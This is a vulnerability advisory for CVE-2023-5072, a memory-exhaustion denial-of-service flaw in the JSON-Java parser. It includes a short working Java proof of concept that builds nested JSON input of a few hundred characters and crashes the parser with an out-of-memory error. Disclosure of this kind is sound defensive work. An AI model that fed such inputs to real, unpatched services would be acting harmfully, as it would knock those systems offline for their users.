CVE-2023-5072

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using ` to escape special characters, including ` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `` characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept

package orgjsonbug;
import org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public class Bug {
private static String makeNested(int depth) {
if (depth == 0) {
return "{\"a\":1}";
}
return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
}
public static void main(String[] args) {
String input = makeNested(30);
System.out.printf("Input string has length %d: %s\n", input.length(), input);
JSONObject output = new JSONObject(input);
System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
}
}

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023

Date fixed: 

Date disclosed: 10/12/2023